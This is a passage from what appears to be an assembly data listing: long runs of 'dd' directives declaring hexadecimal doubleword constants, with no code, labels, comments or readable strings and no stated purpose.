494521B3h, 0FB9074ABh, 0A766B84Ch, 0CEF2F9F4h, 0F8BAC621h dd 20AE470Eh, 79493C60h, 50DCC7BDh, 0EA779CD5h, 163143FAh dd 4CEE5167h, 389A325Fh, 8611B467h, 0DB25DFCAh, 94D4A7CEh dd 99F88E7Eh, 74754674h, 0F73FDFD5h, 2FBC1B2Eh, 0E2D95D28h dd 86A2410Ah, 0F17B7D15h, 5967651h, 75AE2A52h, 6F79497Eh dd 0B8CE2AC6h, 4D76BE06h, 0F7F720D6h, 1E8F944Fh, 0E6D9CD13h dd 0CA07CF7Ch, 3AFA7413h, 6A4D655Ch, 3868FC71h, 0E34C9DD2h dd 39EF7E12h, 2F2D064Eh, 8230C2FEh, 0C550AB7Dh, 7C4F9466h dd 57D9AFF0h, 24B79935h, 1AE5AF95h, 0E582E88Eh, 5D694A71h dd 431A2D86h, 0D929B6E2h, 6170A46Eh, 0AAF753F6h, 29B4E263h dd 53B44E98h, 49F45245h dd 0F0E118Eh, 215435BEh, 9CB73AD1h, 1B719A8Bh, 0E21672F3h dd 7265B86Bh, 4C61C4BBh, 0FF9659A3h, 79B1E301h, 0E450DC70h dd 0BD2D95ABh, 6423D519h, 517B1B4Ah, 53106AB7h, 0B6A66A0Ch dd 4B3C6F32h, 9D52D445h, 0DEFE93C6h, 92C1F345h, 0E0EA5285h dd 26A48DAh, 97EA644Fh, 0A9C4B996h, 4A62DC91h, 0F7FB3F1Ch dd 0BE66CCEDh, 34B363E9h, 0FEA27B4Eh, 996E5A4Eh, 2B741561h dd 74C80CDEh, 55543106h, 49F5C985h, 87529F6Ah, 502889DAh dd 722B511h, 49FC38EEh, 0F154FB40h, 0F20C8543h, 43B895D6h dd 0E56A67C1h, 532285FDh, 3EAC0A56h, 4B691B90h, 0F457A09Bh dd 63B492B0h, 3286C07Ah, 93D92EFh, 3EDAA95Fh, 0AEB7F0Bh dd 0A1BE7DF8h, 528678C9h, 6CB9DA38h, 0AEADBFD2h, 17EA5D27h dd 7B35C27Fh, 4A46E179h, 92B598DAh, 355FDDD7h, 0B45D29DCh dd 0AFCE9C74h, 0B273AC41h, 0D31CE432h, 7F2B21C8h, 9F59EEEFh dd 957EE2Bh, 0BF9C7EFh, 0DE5777B7h, 4BF4B8D3h, 444C72C0h dd 0AA5A0EB7h, 0A62F24B1h, 0AEDA2E48h, 0AACB42A2h, 3EFBB5C0h dd 0EFC7D830h, 74FF5413h, 45B487E2h, 6D4C65FCh, 0D2E7075Dh dd 54C66C2Eh, 7CB5D6C0h, 88AC47E5h, 0F8EE5532h, 3B46F303h dd 0AD336A2Fh, 0E5B82853h, 0DEB6E32Ah, 15A8806Bh, 0CA9143F1h dd 0E7E83E2h, 0BE61C87h, 5F4AD7CDh, 0CF81AAE1h, 0BB6F474Ch dd 53A4F0CEh, 677095E9h, 8ABAD78Eh, 0D131F322h, 40A177ECh dd 0C3136B65h, 0C1254F06h, 0FE624523h, 6A2A0585h, 0E8E27C62h dd 4B60178Eh, 0CF0C6B90h, 0C8274EAh, 5E020756h, 3C1CAAC9h dd 1A0E6ECEh, 0ABED18EAh, 84728D7h, 0A914C308h, 20554D75h dd 7B79E0F0h, 3F597B46h, 0C2AEA4D1h, 7937E471h, 0D8A8EDE0h dd 68EC9B79h, 106DAB1Ch, 0A9509D2Fh, 0C4A8EF81h, 271CA73Eh dd 2BF55045h, 74533E8Bh, 7D524D7Ch, 0EF4D42FDh, 9A8148B8h dd 0BDB29C12h, 0F2F0969h, 92F6DEBCh, 0C5EE1BF4h, 0C0DF1552h dd 0F9D74BF3h, 7F6FCAEBh, 1AFC29D1h, 0DCA44D27h, 9A376AAAh dd 0E34A834h, 330FCD6h, 0D0941730h, 43201558h, 697565ADh dd 19C50741h, 3E1DACD8h, 12ED36B4h, 0B1AC4C9Bh, 0DDF1FF7h dd 0EF5B1FBBh, 0D5C22E74h, 0D07A3DD3h, 35F92C36h, 0DD2A71B0h dd 8CB3D0A7h, 0C135BC81h, 0E1E81F57h, 54CD2F3Ah, 0D760E0BBh dd 57E9C6E9h, 0A60A6F49h, 0DDF27287h, 859508F5h, 92ECC7BAh dd 0D522EE7Ch, 9AF26932h, 0F03E82A7h, 0BC41708Bh, 0A675DB6Ch dd 93DDEAB9h, 7E2A651h, 63519E7Dh, 8574419Ah, 2FC7BB78h dd 0D54BA49Ah, 0DECEABE6h, 9545F4B1h, 0DEE8D058h, 2B46C2ECh dd 13DF2892h, 0CD89CEC6h, 3B1EEDFDh, 0D5F5236Dh, 5130491Fh dd 55E37F1h, 0ED0D28B5h, 257186A8h, 3A4BD41Ch, 13E7BFA9h dd 6C1A4566h, 0F72AA128h, 73B7EF75h, 0D28D3F1Fh, 2BB51E72h dd 0E90F6F8Eh, 0C1578341h, 0A95A4675h, 1B933F94h, 0EAC832FEh dd 0AA468461h, 0A6117BBEh, 50E5B63Bh, 9F1AD9E5h, 0A14CBBE5h dd 0FFCA647Fh, 571F88F8h, 0BB0EE161h, 61E2732Ah, 7ACAE3CFh dd 91BBAEADh, 0FFBE5BBh, 0E7FE0C3Fh, 0D20EE0BAh, 2EBE4295h dd 0A27B9C31h, 0EE6BF992h, 0BD354B78h, 56071B84h, 0FE4416E9h dd 69D2D770h, 4195E0AFh, 751CE6A4h, 1489ECA2h, 0FDA1A19Ch dd 0B085620Ch, 5BFCE766h, 0E07E749Bh, 640F7A6Ch, 0DBE2CBE8h dd 0D45A52CDh, 41F3B266h, 785B00B6h, 0AA6D2860h, 5A258B37h dd 0E97650CEh, 8C9B125Fh, 63463DAEh, 8558DEBBh, 8B1EA65Bh dd 25C18F4Dh, 0F1B5ACDCh, 0C0BFEBC3h, 0F99B9362h, 2F502667h dd 3D6C400Dh, 0F3C340F9h, 0E311ECEDh, 62DA59D8h, 8656B20Ah dd 5205FDFCh, 0EF68952Dh, 1ED34046h, 9C0A6D1Ch, 63232F6Dh dd 17F4CE46h, 0D43992A1h, 0E42E5FF9h, 3ECB232Ah, 0B4429DB3h dd 1716E151h, 426A8BDEh, 7FD5BA3Fh, 0AFDC45B5h, 5AC3ADF4h dd 3CC55401h, 0B5583EADh, 837A802h, 68DE5BFCh, 59D50AA1h dd 0BFD8E94Dh, 0FC31E371h, 0ECF7C3D0h, 70F1A9BBh, 4EE2946Bh dd 0B1F5EEEEh, 90B5E48Bh, 98F8563Ch, 33BC6D2Eh, 5DB619E0h dd 0FAB41354h, 9B3EEA13h, 0F81A53BFh, 56F6EBE2h, 0A47CCB7Bh dd 0A0F3A88Ch, 647CABDAh, 93C58476h, 55D435D0h, 55742362h dd 0B7A8B8C0h, 5AD15313h, 94BC5678h, 687FEE86h, 231AB257h dd 0D3297C2Fh, 0A04CC6C2h, 0DEE28DB1h, 1B58E49Ch, 0EDD9E4E9h dd 0AFE49440h, 0BF147617h, 0C023B4CFh, 5898CAC3h, 47C57DFEh dd 318CC56Ah, 0D1261D8Eh, 9C2706CAh, 81F9C22Ch, 0F3CD9693h dd 85B26866h, 5A1FE348h, 6D5EA1DDh, 9A6C0B5Eh, 25D066D2h dd 4A7ED061h, 0FC0E2ED3h, 0AEE4E030h, 0C8737E76h, 35797394h dd 0E204F824h, 15294482h, 0BC09EAF0h, 0E91FEF34h, 0AA543D15h dd 4C7182B4h, 0E8890515h, 0AD61457Ah, 7EA77C64h, 0E0972767h dd 7F76BC79h, 3E6FD11h, 4B34DF77h, 0C4B17F3h, 87E2F6F5h dd 4020B783h, 0B4D4FAF9h, 360B5932h, 24543E1Eh, 1F9ECB5Eh dd 1B749841h, 0C14B465Fh, 15DCCFDh, 2FE7FBA3h, 625B1581h dd 951ABD62h, 56005B28h, 0FC4B06CDh, 6EA4E8C8h, 0E7A69BE0h dd 0D1AEE6D1h, 129BB4E0h, 50AB3AE0h, 6C6DCBF7h, 96959A13h dd 49FF6D21h, 0D295F8DEh, 0B828E303h, 9FDFE175h, 87E3DF64h dd 417E1739h, 0A95A2525h, 90FB57E6h, 0D427375Bh, 51D4F746h dd 4582EBDEh, 0A32E216Bh, 0BF0B9D88h, 0AB326A66h, 172693F7h dd 12DFA86Ah, 257C2EE1h, 0B7A978BEh, 54C8058Bh, 5DBAFED4h dd 0A5483308h, 7E1C38D7h, 7851BD9Dh, 56F65BC3h, 65E0FD48h dd 257831CEh, 0EB93EE57h, 607250EAh, 0AA51E36Eh, 0F3EA252Dh dd 0C41062C0h, 3FF133EAh, 8BF1BF9Eh, 6F2FF172h, 8BDBE634h dd 0E13B6D75h, 0A4973B18h, 0F64A8C79h, 61A943F0h, 43DB0ABCh dd 3184C274h, 0DAC07CCDh, 7944DB77h, 8EB14A97h, 7D96BD3Bh dd 4FD0012Ch, 65806662h, 344749F9h, 0DA75B2F2h, 2A366AE8h dd 0A9ADEEFh, 0F5BA9555h, 92BB9923h, 472AA7F0h, 2CF53323h dd 0E1A6DE86h, 0B9D8A22Ah, 0DCACDE09h, 78632FE1h, 7C0F9B4Ch dd 0A2C4FF10h, 91B48F2Dh, 7525AA98h, 6C6FC557h, 5FE7FD7Fh dd 0D1EA9726h, 529DE895h, 7628FC81h, 0CBCD6595h, 2AF2AF84h dd 21AE6ECFh, 67687095h, 0DDC5CA22h, 9EA24DD4h, 0DFC7239Bh dd 0D127E775h, 0BD4AE547h, 0B5D56246h, 0A0BA7C74h, 384019FAh dd 7594892Ah, 0B8363296h, 6B0087ADh, 0FB06EBD6h, 672E4F76h dd 56DF60FEh, 35F62FB9h, 61ADED56h, 0A2DAF625h, 0D0479543h dd 0F98F3809h, 0DEDED34Fh, 777302E4h, 1E3C3AA7h, 26DEA43Ch dd 92D97548h, 0F913AB8Bh, 2CABF3Fh, 291CA169h, 1FBFA7D4h dd 0B54A836Dh, 787E03CEh, 5D57E551h, 7DD26F3h, 66AEC0FCh dd 2FDD6CB2h, 695D2A51h, 2AB721BFh, 0F7F6609h, 36525B47h dd 7A42155Fh, 6BF70AF1h, 0A145E7A1h, 0E81EE0F1h, 6F167A6Ch dd 0CEAC5F56h, 9C7A370Fh, 0E7C94635h, 0B8CAE8B9h, 0ED5A1F8Dh dd 2F681F7Ah, 0D99D91D1h, 0B77CE85Ch, 62FC6C71h, 6A778514h dd 0DC6EAA23h, 71698E0Bh, 93C1F0B0h, 4359DD3Fh, 0FCE22E77h dd 0A54D1DCBh, 0ED4578D8h, 81A2BF33h, 7447FC40h, 96D80655h dd 0CEF51181h, 0C6F1D72Bh, 7870BAE7h, 0B79E57B4h, 1F9520B0h dd 5F2A45B0h, 638C8B3Ah, 8C3DE0F9h, 0AC54DA96h, 2F36EA42h dd 79139C3Ch, 3F469FA8h, 215B69DBh, 10391BBFh, 7AFF39BDh dd 0FED31FC2h, 0F81A41ADh, 7DA66221h, 0D5365419h, 9A9A3E64h dd 66581046h, 0E7D187DFh dd 521AB356h, 2FA7A77Eh, 0AA6180A9h, 0CFB2B63Ch, 6AE1CDA8h dd 0AB21E685h, 59FE7191h, 2BEF81E0h, 0C221373Dh, 0FDAA5A87h dd 0D6B99F0h, 6FB11689h, 938B0B1Fh, 0D689B57Ah, 0DABBF089h dd 0CAA63C53h, 9DE97987h, 48C9B81Fh, 0F5488E6Bh, 28845867h dd 856155CEh, 9FC74AA5h, 39337D08h, 567302CAh, 2C5EC04Fh dd 0EFC79ABBh, 2147591Bh, 9BFC7F4Ch, 0AB307CEEh, 0FEB053DCh dd 35388606h, 789DFCD4h, 0F79AB23Bh, 6950EF54h, 1CE4BF47h dd 8BF5BDBBh, 704EAFF5h, 353E07Eh, 93C72985h, 9E2C9730h dd 0D4709338h, 0FD535F15h, 441CC94Dh, 4D4DCDE5h, 6D16DBC8h dd 0D95116F6h, 39B22D8Eh, 0C29FE460h, 0E5F0CF55h, 0AB3F33EAh dd 21B09C9Fh, 722D65B2h, 43F1D0ABh, 0ABDF1AD6h, 8DCBF368h dd 5837A9F1h, 0FAC37CCFh, 12FB0A50h, 1A813A98h, 709478DDh dd 8B8B68E2h, 0A82C6913h, 479569B8h, 5A2B738Bh, 0F02AEEDFh dd 17CBD299h, 0DDEECA21h, 4B9EFC3h, 0F83A891h, 0E172DDDCh dd 0F1E86A73h, 55F66504h, 0FB907F76h, 0A6747F48h, 18C07A12h dd 3FE3D7E4h, 0E5C4E0BBh, 8B8C968Ch, 0A80C13E7h, 6D1CA6Fh dd 0D0A07625h, 9951F48Ch, 0B382AA8Dh, 0EED28E68h, 5DBB196Eh dd 0CDEEE528h, 1FB6F5F5h, 1894EBC4h, 85A1A536h, 24ED21Fh dd 6898AFCCh, 0DA50EA8Ch, 0DDD4C8C4h, 0D887990Dh, 0D4BDAD16h dd 9CA3435Eh, 0F971ADF6h, 4F217D67h, 6B2B64F4h, 8F13D16Eh dd 4D61E46Eh, 0FD6DD2A6h, 0FDCD8BB1h, 906672Ah, 40EA38A0h dd 0F6DDF72Fh, 93765C4Dh, 7479E567h, 50148ED9h, 0D350A69Ah dd 0E75A0081h, 2C85255Ah, 0BD914E4Eh, 0A8D6961h, 0CCD98681h dd 0B1B800D1h, 14DA2F2Ah, 87E3D895h, 202075D3h, 0BB90BD71h dd 1BF6B462h, 62308C4Bh, 0AF404EAAh, 0A202BB89h, 0B257D72Eh dd 1F36FA8Dh, 47B53918h, 4089F683h, 282A17E3h, 0B2EE18EFh dd 3797B472h, 0B6E2DD86h, 0B643DC58h, 0BEAE99B9h, 3ACE5AD5h dd 0C8D4C936h, 4A44A932h, 0B3E0ED11h, 0DD8A8614h, 5E33687Dh dd 0E297B17Eh, 3FCE7369h, 69ECFDD3h, 0EAE7B4CBh, 39BD987Fh dd 0C2D13C99h, 3B0A869Ah, 0A02918E8h, 296E8A14h, 0E4025D56h dd 3D4E0F89h, 715F1BAFh, 25CAB120h, 0F7AD8545h, 95FA18CCh dd 0E353D137h, 912FC8A2h, 0F66FB06h, 0AF7DBF1Ch, 9D234991h dd 0FFA18559h, 0CC6F47A8h, 0C2C211DEh, 0CE700E79h, 91521D8Bh dd 197DD78h, 895F92EFh, 7D36FB47h, 0BBF66B56h, 6AD095B4h dd 0C806BFEFh, 79EB25CAh, 615AD78Dh, 0DAF64576h, 8ECE45B4h dd 7F649E0Fh, 47F83AF9h, 21FE5CFCh, 0F3EE74E4h, 9662AB3Eh dd 4AA05D71h, 52E056C5h, 0BD6FFF49h, 0D0D476A5h, 907262B6h dd 0EE4A1F22h, 29F8713Eh, 0E545B8AEh, 9F52FF32h, 8499FE0h dd 57372FEFh, 12659F65h, 0D717B653h, 0B2EFACFAh, 0B395ADABh dd 0EF471E7h, 0E2645E2Ch, 93C7854Eh, 0A9CD512Fh, 0D85B4064h dd 0E7D2BB90h, 0CAD0AB6Dh, 614139C0h, 0AE5D6CFAh, 0F87BE539h dd 0E97A4A70h, 5CFE2416h, 0CD30D179h, 0BF274DEBh, 0E7B15AADh dd 36533286h, 3EA8C3A6h, 546468B8h, 0D6C3D94Eh, 265A1134h dd 34E39E27h, 3A2AA72Dh, 0D57B4759h, 3920DA4Ah, 64C5457Ah dd 0A3281BEDh, 0ECAD8CF2h, 0B94D020Ch, 0B758C56Ah, 88D9B17h dd 0B55A1660h, 9739A2D5h, 0AF19344Fh, 0B67E8E41h, 0DBDB5032h dd 40AAB654h, 518A4F5Ch, 615E069Dh, 33163C28h, 357A0D28h dd 1B3A07DBh, 6FE7ADB5h, 21C1F403h, 0D6A5A02Bh, 607E25DCh dd 0E41EFADFh, 0C53DB33Fh, 0E37F705Fh, 5AD7DD6Bh, 0B5B37E19h dd 47308748h, 0DE333858h, 0A8DA3F0Bh, 7FE5356Ah, 0C6CF3750h dd 0FC9DC1C8h, 0AA39C3F1h, 775D40B0h, 97863697h, 456E69A9h dd 715F74B4h, 29CFEF7h, 0B305326Dh, 0EC2E0A75h, 0B56E8F55h dd 80CBD95Ah, 5DEDBB9h, 74B3DBCh, 7C9A3B69h, 0F550EFC0h dd 5F86B39Fh, 958B79BEh, 0C72F2D5Bh, 0E306E186h, 115EFD7h dd 309A6417h, 0A375D032h, 7A317E6Ch, 0A73B68BEh, 10FC24F6h dd 0AABA6CD0h, 0C93144C6h, 3C8BC351h, 3C78297Bh, 45DBFE38h dd 7CCE7B11h, 0EBB3BA1Fh, 4D5AFBF8h, 3775EF72h, 74EB9842h dd 0B57D875Ch, 9C83460h, 5C32D435h, 64B7FB43h, 87976E4Bh dd 652DC6E5h, 0B4235499h, 8AD3DA07h, 0E318E5CBh, 0FF9525EBh dd 97B1AEFh, 75B35A23h, 49543298h, 81182B4Bh, 0E322E52h dd 5877A408h, 44DAA6C5h, 1D35E7FEh, 0A1EE606Dh, 40219B06h dd 21F89E34h, 4420865Eh, 0C9123394h, 0E5C27D36h, 2B5EE97Dh dd 666954D5h, 0C95365D0h, 0FF38B29Ah, 8BBFB458h, 0E71A670Ch dd 9F327D56h, 25FFA0BEh, 0ED099560h, 0B405555Fh, 5A1D3E0Ah dd 9911FE3h, 4DE9A193h, 0F4252CBAh, 44A9CBC0h, 3ACBD3FAh dd 774991B2h, 2068417Bh, 0D71CBD9Ch, 0F0A6CEA9h, 7E5904C0h dd 0B2FF37AEh, 0A2055132h, 0BE61AF7Fh, 8DA388E4h, 0A4EB9681h dd 0AE1E8B58h, 91A29C43h, 8AF90371h, 1B875EA2h, 0D6E43935h dd 0F4EAACF2h, 0B3F971D5h, 35AAEF5Fh, 0C6ADFE7Ch, 6C2F74F9h dd 1A5126BEh, 645CB591h, 0E188B181h, 974A5E25h, 38B889E0h dd 0EEECFD37h, 0CCDBAF43h, 0E78528B5h, 54757D89h, 0D6DC9CC6h dd 0EC96805Fh, 478C2AA5h, 9A7A3B37h, 0FD17FEC0h, 82C33AEFh dd 945FA989h, 24F615ADh, 81149175h, 3C6FD560h, 0C54E7F2Dh dd 0D517E4B7h, 6DED15E1h, 5687D10Fh, 2BEA3371h, 3E0F2D6h dd 345E7F1Fh, 0EE759552h, 59D78233h, 5691AC8Dh, 0D6A11126h dd 0D68E79CFh, 3DE6B264h, 0CFF7153h, 5D54DA8Fh, 4657DCFCh dd 0BA654AF8h, 92FC4FF1h, 0E11E63Ah, 0ECEEC07h, 0C0500D03h dd 42EB9727h, 0C6B8E269h, 23524B6h, 1ECB3BB9h, 7D9FFC0Fh dd 0F3FD25AAh, 0EBA162C8h, 4B1FE274h, 82A57F7Ch, 7B963BBEh dd 9CC2BAB9h, 508F8429h, 569A8FCAh, 115725A1h, 0CFF6ABC4h dd 4ACBCDA6h, 0E86DD699h, 439F236Dh, 88EBBAF0h, 0B616BAAh dd 0D7B059EEh, 0E0591D50h, 0CC5F16C7h, 0C185A7B2h, 0FDD56B03h dd 89D86A89h, 0AD1C3B4Ah, 47CCCFC4h, 6F7549B3h, 0C5986E7Ah dd 0FD3F7EA1h, 9DD833Eh, 6B1D5929h, 0D53F5695h, 0E130259Eh dd 3BF67309h, 0AD14B0E6h, 67223F55h, 7456AA85h, 3DC0DDA5h dd 12C536C8h, 5B5B74F8h, 0D1A6A28h, 0DC70EC95h, 4ED3F7A5h dd 78942634h, 5B673CBCh, 0E1267B5Fh, 7E7D7EB8h, 0C04465F8h dd 0B583669Ch, 0F35EC2BEh, 156A8EF9h, 0AAAD52FEh, 4926E8ACh dd 7EE69903h, 6E6DE566h, 18E79DD0h, 0A7A573BCh, 547D89F2h dd 0D8A3395h, 0F1DAA9FDh, 956CF6E7h, 0F14D7520h, 1A3F0F7Ah dd 8D635D14h, 42A19A77h, 98578913h, 0FB346839h, 2FE82594h dd 0AA722467h, 1E56CF8Dh, 55777518h, 271C1F75h, 0AB8369BDh dd 593B77B4h, 0ED954F71h, 3A4B539h, 93259922h, 0DB98A160h dd 0B03DF108h, 0D64BB27Dh, 0BCAD6C3Fh, 610DFB58h, 0BC357A6h dd 656DBE8Bh, 0B4FC53B7h, 0B393B039h, 0B6CD7F9Dh, 54AEB7CCh dd 2F1B9E9Ah, 0FF226356h, 0F23E45D6h, 0DEAB532Ah, 5FA2FE04h dd 0CB45399Dh, 79BCE099h, 7DEB7249h, 9B483429h, 654BBCEAh dd 0E029A4E7h, 6676AE1Bh, 327A12E5h, 3825D37Ah, 5688D418h dd 6F04F465h, 2897C4D2h, 95A05A65h, 8DCC9DD7h, 0C343C34Bh dd 10BF9142h, 0CEF689C9h, 0AAAEFCA7h, 68C1CB5Dh, 9CD7CDE1h dd 8F88DE60h, 69E9712h, 3F05EFB1h, 7C025DA4h, 24893656h dd 48FF8D8h, 431461B4h, 7BA87B22h, 7BA8F452h, 0FC4BC6AFh dd 59E1BE6Fh, 476BB9CCh dd 546DB67Ch, 51FBAAF9h, 3F1046Ch, 5DC7B567h, 0A99FDC50h dd 63503496h, 0A11A3547h, 0E70F7ABCh, 5D7E595Fh, 0E59C3702h dd 92EA32D1h, 0E86F68D5h, 3BFC59F5h, 380C594Ch, 3A6E1A2Dh dd 622422E5h, 0F47FB5A6h, 96E98EB6h, 8B448ADDh, 8E62862Ah dd 0F43B3FF5h, 2C02D8C7h, 37D75AA6h, 0CD52BE32h, 2B446D62h dd 0F36AFF90h, 0A3D3DDD9h, 0C1215645h, 7B4014Eh, 0CD51C1E3h dd 0A35F9E0Ah, 31120AB7h, 17983C47h, 92EA9DA8h, 15A7EF14h dd 0B5241BABh, 0BCA96675h, 0FF202520h, 9F1EA1D6h, 0C12645C7h dd 102382C9h, 0B2F1E8BEh, 0B4B49599h, 0BF58776Ah, 0BA2DBA13h dd 0F9BB5EAh, 0B1A8904Ch, 9832C662h, 13450248h, 148F5CBCh dd 145A7F3Eh, 0E4292945h, 5D832081h, 0FDB2181Fh, 0BA5513B3h dd 0AF2F4475h, 0C5222BFAh, 0F403642Eh, 46DDED2Fh, 19EE12ACh dd 6B8E6821h, 0E57AAD12h, 0FE22FFE8h, 9C4E4C21h, 3AE38CB5h dd 0A2F52D4Eh, 0ACD73148h, 33B8130Bh, 3FBEB463h, 86BD8A78h dd 57B3F0B5h, 0FF8624DAh, 0B626B8A4h, 708CA1CCh, 0AA880B64h dd 2CAE4AEEh, 289D9C57h, 4A8D91D7h, 84325B5Ch, 619ECD9Ch dd 434BAC40h, 11498946h, 0CDB2C675h, 73A4F4BEh, 9517A56Dh dd 516C1B8Ch, 4DE4E538h, 417F466Bh, 3F9621Dh, 226A00C3h dd 6E22885Bh, 3374F2C2h, 0C820C29Dh, 5AA5E6A9h, 0CF97FFB1h dd 3AFC7E96h, 58148A17h, 88A83FB3h, 5DDB35EEh, 0BB3BE854h dd 697FAB7Ah, 0CD756A28h, 94B19EC6h, 26CBD7FAh, 739B9C85h dd 52CE987h, 0E97FB67Eh, 0F3D98BEAh, 0C3C3DF0Bh, 0D5A03DA5h dd 87EFC117h, 0BACE7563h, 9535F703h, 3E33899Ch, 0A8C37A9Ch dd 6B907671h, 0EF1B1D39h, 0C9CFA738h, 96ED3FCFh, 0E63E5A25h dd 62D18676h, 0A168CDC1h, 5FE413EEh, 0FC7C91DEh, 0E0121932h dd 24042AE2h, 8B65B0D9h, 3D484DBEh, 0A62F0B5Bh, 0FE026FA4h dd 0CC979F2h, 5A200ABEh, 7A7571C5h, 8F7E75C2h, 0B024FC91h dd 49803612h, 0D5CB5209h, 0A52BC369h, 63A9EED9h, 691BF63Ch dd 34191A91h, 5367BA4Eh, 29695242h, 0FF106C3Dh, 0B3F36C83h dd 5EEC6798h, 9B5D3C04h, 98AD6840h, 15E6666Ah, 6E2452B4h dd 53E9486Ch, 0AFCEC49Fh, 4B618FF0h, 0D47BB682h, 2AEB0D94h dd 58ACEDA3h, 126796E2h, 0A7C52C45h, 697EEC31h, 0BDCF4E62h dd 0CC3BFF3h, 0CAEE32ABh, 91B532C5h, 3D8B6376h, 0C180996Ah dd 16DE2ED0h, 8449FF6Fh, 7F655097h, 0DAF421F8h, 0B31D71C6h dd 326462EBh, 0DC507AD0h, 1611BA08h, 0E5D7C83Dh, 4540DF73h dd 19893AB1h, 0E267BB4Bh, 0DA4DDCCh, 0EC60D0FCh, 16A3A8E1h dd 12AAEAE8h, 6555CE8Fh, 0D320358Ah, 0AAC05445h, 0ADD64B86h dd 0D111D267h, 5E4F6E8Ah, 0EB23100Fh, 0D8EDBF03h, 88D6F281h dd 98821057h, 0E9339DE7h, 0B66D3195h, 41E94AB2h, 0B3D7932h dd 0BE72ADD3h, 4A48A84h, 2E3593B6h, 0BD6394C3h, 1C08A2D7h dd 8B69C5AAh, 0FC359AF6h, 0BB9DFAF0h, 0ECAB3EA6h, 0E4DDE201h dd 902920E0h, 0DC0BC56Ch, 7FE9B8A5h, 0BF9AFBBEh, 0E0CC0ECCh dd 0B7938FE7h, 85DA4120h, 0A95306EDh, 96627FA2h, 69191B29h dd 0B0962ACBh, 0F188CA73h, 6DB18985h, 332B86AAh, 80D97DE5h dd 0BA56E4ADh, 1B935F4Ah, 3B0F684Bh, 0C1C1F1h, 465AC9C3h dd 5CEAAB44h, 73A73F73h, 58058BD5h, 6E843F0h, 6E4A2BB2h dd 732D16D0h, 0EDA8EA55h, 67A486BAh, 89C1BE3Ah, 0DB4CF73Dh dd 0F8F18DAFh, 315727BBh, 0F53F492Ch, 0DF6D8786h, 0E3CC6C8Ch dd 49EE6C7Dh, 0FF12E45Bh, 99EC2BC5h, 0AFA38E3Dh, 0CABF0ABEh dd 923E136Ah, 0A780825Ah, 0BF4985A2h, 67301D7Ch, 7D4E7237h dd 7D996AAh, 0BC8B4A46h, 0C50D1266h, 0E65B65D7h, 390B3ECBh dd 87E39AA7h, 0F6722B23h, 0ECC1F6BCh, 0CCC745C6h, 118940A4h dd 1B1DB55Bh, 8D1482F8h, 0EB4F4CF7h, 31E4FE75h, 29A3D3EFh dd 0C4C95401h, 0DA3962B4h, 0E1A609A9h, 0E00AABBDh, 0A51B67C8h dd 8C70E2D5h, 0E16076ACh, 0B67E1018h, 0ABC4FFCh, 2CC2D56Fh dd 0D6451665h, 24E4EB7h, 0DB0C6B88h, 5DCE15CFh, 6D066B04h dd 32D4E13Dh, 0EC7258BFh, 6F079981h, 98FC5A54h, 0A61DAED1h dd 66B28B1Ch, 0F5899939h, 6986824h, 98355BA0h, 19BE12DFh dd 0AB857218h, 6F684C22h, 0B3BC8C5Bh, 81C1CAE3h, 0CAA78AC3h dd 0C5C28112h, 4BCD03CBh, 857ECD55h, 280CB9DCh, 51049E06h dd 8EC214AFh, 0FF195F49h, 4C4D70CEh, 928A23CEh, 0A4997405h dd 659B49FDh, 6B3398D3h, 0A59BD2FCh, 38EB377Ch, 0A2827BEDh dd 0B6424686h, 2918AD05h, 75C22EEDh, 0BC0E9A1Ah, 27F39809h dd 5E9F6335h, 8E32C08Dh, 110780AFh, 4CDAAC4Fh, 9AF5DAA3h dd 5B96BDCFh, 650C81DAh, 68681F49h, 70FBED3Dh, 4CC8F1A2h dd 0F473D12Dh, 309B9CBh, 0B3F551E0h, 77B00726h, 0CEE60919h dd 2FD0E784h, 6E797BB5h, 0D22EA2F0h, 3BEE3045h, 0ACC47CF5h dd 17D0AEB0h, 0ABF9B6E7h, 6B4129B4h, 8D128415h, 0C0F7677Eh dd 4A6A7DA1h, 6CD7707Dh, 71FCB0DBh, 0B6B9A702h, 3FDD64D1h dd 0B0871C0Fh, 6A677739h, 5BF5E0E6h, 5AC042AFh, 0D0AB6729h dd 0A400FA28h, 4AB7C5E9h, 49B7F8F4h, 0C25EBF0Eh, 0E2C15E99h dd 0C7D4ADD6h, 0B08C4A8Eh, 0D8C77672h, 172FFF91h, 0D4632679h dd 2332EB93h, 303C90AEh, 0E247147Dh, 0B2B008C6h, 0C3112DB5h dd 0D708D93Bh, 0B83C07B3h, 2589FBD7h, 19B76105h, 0ADE1912Ch dd 2C2A2A22h, 15153704h, 0C591B09Bh, 0ED179A83h, 3064A77Eh dd 1CAC1555h, 0DCA4D1D7h, 86E64837h, 0F19A09F7h, 0D1FEC4C3h dd 0DBBB7532h, 463E0D83h, 378B207Ah, 1650CC61h, 1935F473h dd 288E9BECh, 42A8A3E5h, 78C568D7h, 9E3FD0D6h, 1AEAFD53h dd 0EB4389CFh, 463CABB3h, 0F2B8F13Dh, 4E18E576h, 44A62F76h dd 606F564Fh, 7FBB0C7Ch, 0E2B9DB3Bh, 0B3F08B7Dh, 6D8BEE98h dd 8982B558h, 17722F69h, 0DC7ABD46h, 717B52BFh, 0EC2ED49h dd 0EAB25971h, 0D769D8C8h, 6CB36A58h, 8BF628BEh, 5D331F3Ah dd 8AEE1A92h, 0DD6DA622h, 385A2702h, 0EAFEC0F1h, 87D326E2h dd 0EA3E8975h, 9801A164h, 59FF012Dh, 0AC425C7Fh, 80AB16BCh dd 66BC9B16h, 35EBE710h, 5E56FF68h, 427E6916h, 0F1EC411h dd 15447B4Eh, 5FB208F3h, 78A1A614h, 79FBBFDEh, 16131D6Ah dd 679B8F03h, 2729E586h, 8F65AA69h, 24BAA826h, 7335DF8Bh dd 0F7F1FD6Ah, 3F9D43B2h, 75545A58h, 2C8DB80Ch, 0FDE6408Dh dd 9F3B4110h, 0EDA4F114h, 0CDEB5C36h, 1DA1C2D7h, 2031B35Ah dd 52627AAFh, 0E308C1BDh, 7ACFD37h, 0E1F5105Fh, 9F6C0E0Ch dd 934CD444h, 0A6AF8519h, 70F2248Fh, 96468763h, 1A56CC72h dd 87BFB3DAh, 9B6DB43Fh, 55B708D9h, 1EBCA2A3h, 9322A883h dd 0B1565E6Bh, 0A2262FCBh, 58D0220Ah, 0C49B463Eh, 0CFE9A6AEh dd 85510EA6h, 9B45395Bh, 15FFDA0h, 99929563h, 8634B4B8h dd 90F63EFEh, 4F3C5F95h, 28735155h, 831FB9DDh, 1CFF3060h dd 8EC27F63h, 32AC686Dh, 83C632DDh, 83CD43B7h, 67FDD181h dd 0AAF440A1h, 0D880FA1Ch, 0C912C367h, 64123015h, 